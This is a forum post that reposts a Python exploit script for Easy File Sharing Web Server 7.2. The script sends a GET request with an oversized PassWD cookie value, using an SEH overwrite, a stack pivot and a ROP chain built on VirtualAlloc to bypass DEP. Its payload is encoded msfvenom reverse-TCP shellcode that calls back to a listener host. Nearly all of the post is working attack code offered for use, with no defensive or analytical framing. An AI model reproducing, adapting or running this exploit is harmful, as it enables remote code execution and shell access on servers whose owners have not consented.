Jump to content
Fi8sVrs

Easy File Sharing Web Server 7.2 - GET HTTP Request PassWD Buffer Overflow (DEP Bypass) Exploit

Recommended Posts

  • Active Members
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET Buffer Overflow (DEP Bypass with ROP)
# Date: 8 July 2017
# Exploit Author: Sungchul Park
# Author Contact: lxmania7@gmail.com
# Vendor Homepage: http://www.sharing-file.com
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: Winows 7 SP1
 
import socket, struct
 
def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        # For EDX -> flAllocationType(0x1000) [ EAX to EBX ]
        # 0x00000000,  # [-] Unable to find gadget to put 00001000 into edx
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0xFFFFEFFF,  # -1001 (static value)
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
        0x1001614d,  # DEC EAX # RETN [ImageLoad.dll] 
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
         
        # For EDX -> flAllocationType(0x1000) [ EBX to EDX ]
        0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
        0x10022c1e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll] 
        0xffffffff,  # Filler (Compensation for POP EBX)
         
        # For ESI -> &VirtualAlloc
        0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
        0xffffffff,  # Filler \
        0xffffffff,  # Filler  |
        0xffffffff,  # Filler  | => (Compensation for RETN 0x10)
        0xffffffff,  # Filler /
        0x1004d1fc,  # ptr to &VirtualAlloc() [IAT ImageLoad.dll]
        0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 
        0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll] 
        0x1001aeb4,  # POP ESI # RETN [ImageLoad.dll] 
        0xffffffff,  #  
        0x1001715d,  # INC ESI # ADD AL,3A # RETN [ImageLoad.dll] 
        0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 
         
        # For EBP -> Return Address
        0x10013860,  # POP EBP # RETN [ImageLoad.dll] 
        0x61c24169,  # & push esp # ret  [sqlite3.dll]
         
        # For EBX -> dwSize(0x01)
        0x100132ba,  # POP EBX # RETN [ImageLoad.dll] 
        0xffffffff,  #  
        0x61c2785d,  # INC EBX # ADD AL,83 # RETN [sqlite3.dll] 
        0x1001f6da,  # INC EBX # ADD AL,83 # RETN [ImageLoad.dll] 
                 
        # For ECX -> flProtect(0x40)
        0x10019dfa,  # POP ECX # RETN [ImageLoad.dll] 
        0xffffffff,  #  
        0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
        0x61c68081,  # INC ECX # ADD AL,39 # RETN [sqlite3.dll] 
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
        0x61c06831,  # ADD ECX,ECX # RETN [sqlite3.dll]
         
        # For EDI -> ROP NOP
        0x61c373a4,  # POP EDI # RETN [sqlite3.dll] 
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        # For EAX -> NOP(0x90)
        0x10015442,  # POP EAX # RETN [ImageLoad.dll] 
        0x90909090,  # nop
        0x100240c2,  # PUSHAD # RETN [ImageLoad.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
rop_chain = create_rop_chain()
 
# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.44.128 LPORT=8585 -b "\x00\x3b" -e x86/shikata_ga_nai -f python -v shellcode
shellcode = "\x90"*200
shellcode += "\xdb\xdd\xbb\x5e\x78\x34\xc0\xd9\x74\x24\xf4\x5e"
shellcode += "\x29\xc9\xb1\x54\x31\x5e\x18\x03\x5e\x18\x83\xc6"
shellcode += "\x5a\x9a\xc1\x3c\x8a\xd8\x2a\xbd\x4a\xbd\xa3\x58"
shellcode += "\x7b\xfd\xd0\x29\x2b\xcd\x93\x7c\xc7\xa6\xf6\x94"
shellcode += "\x5c\xca\xde\x9b\xd5\x61\x39\x95\xe6\xda\x79\xb4"
shellcode += "\x64\x21\xae\x16\x55\xea\xa3\x57\x92\x17\x49\x05"
shellcode += "\x4b\x53\xfc\xba\xf8\x29\x3d\x30\xb2\xbc\x45\xa5"
shellcode += "\x02\xbe\x64\x78\x19\x99\xa6\x7a\xce\x91\xee\x64"
shellcode += "\x13\x9f\xb9\x1f\xe7\x6b\x38\xf6\x36\x93\x97\x37"
shellcode += "\xf7\x66\xe9\x70\x3f\x99\x9c\x88\x3c\x24\xa7\x4e"
shellcode += "\x3f\xf2\x22\x55\xe7\x71\x94\xb1\x16\x55\x43\x31"
shellcode += "\x14\x12\x07\x1d\x38\xa5\xc4\x15\x44\x2e\xeb\xf9"
shellcode += "\xcd\x74\xc8\xdd\x96\x2f\x71\x47\x72\x81\x8e\x97"
shellcode += "\xdd\x7e\x2b\xd3\xf3\x6b\x46\xbe\x9b\x58\x6b\x41"
shellcode += "\x5b\xf7\xfc\x32\x69\x58\x57\xdd\xc1\x11\x71\x1a"
shellcode += "\x26\x08\xc5\xb4\xd9\xb3\x36\x9c\x1d\xe7\x66\xb6"
shellcode += "\xb4\x88\xec\x46\x39\x5d\x98\x43\xad\x9e\xf5\x60"
shellcode += "\xad\x77\x04\x79\x8c\x0e\x81\x9f\x9e\x40\xc2\x0f"
shellcode += "\x5e\x31\xa2\xff\x36\x5b\x2d\xdf\x26\x64\xe7\x48"
shellcode += "\xcc\x8b\x5e\x20\x78\x35\xfb\xba\x19\xba\xd1\xc6"
shellcode += "\x19\x30\xd0\x37\xd7\xb1\x91\x2b\x0f\xa0\x59\xb4"
shellcode += "\xcf\x49\x5a\xde\xcb\xdb\x0d\x76\xd1\x3a\x79\xd9"
shellcode += "\x2a\x69\xf9\x1e\xd4\xec\xc8\x55\xe2\x7a\x75\x02"
shellcode += "\x0a\x6b\x75\xd2\x5c\xe1\x75\xba\x38\x51\x26\xdf"
shellcode += "\x47\x4c\x5a\x4c\xdd\x6f\x0b\x20\x76\x18\xb1\x1f"
shellcode += "\xb0\x87\x4a\x4a\xc3\xc0\xb5\x08\xe1\x68\xde\xf2"
shellcode += "\xa5\x88\x1e\x99\x25\xd9\x76\x56\x0a\xd6\xb6\x97"
shellcode += "\x81\xbf\xde\x12\x47\x0d\x7e\x22\x42\xd3\xde\x23"
shellcode += "\x60\xc8\x37\xaa\x87\xef\x37\x4c\xb4\x39\x0e\x3a"
shellcode += "\xfd\xf9\x35\x35\xb4\x5c\x1f\xdc\xb6\xf3\x5f\xf5"
 
 
host = "192.168.44.139"
port = 80
 
max_size = 4000
seh_offset = 57
eax_offset = 73
rop_offset = 2788
 
buffer = "A" * seh_offset                   # padding
buffer += "BBBB"                            # nSEH Pointer
buffer += struct.pack("<I", 0x1002280a)      # SE Handler with stack pivot(# ADD ESP,1004 # RETN [ImageLoad.dll])
buffer += "A" * (eax_offset - len(buffer))  # padding
buffer += "DDDD"                            # EAX overwrite
buffer += "C" * rop_offset
buffer += rop_chain
buffer += shellcode
buffer += "B" * (max_size - len(buffer))    # padding
 
# HTTP GET Request
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" + "\r\n"
request += "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4" + "\r\n"
request += "Cookie: SESSIONID=3672; UserID=PassWD=" + buffer + "; frmUserName=; frmUserPass=;"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Thu, 06 Jul 2017 14:12:13 GMT" + "\r\n"
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
connect=s.connect((host, port))
 
s.send(request + "\r\n\r\n")
s.close()

#  0day.today [2017-07-10]  #

 

Source: 0day.today

 

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...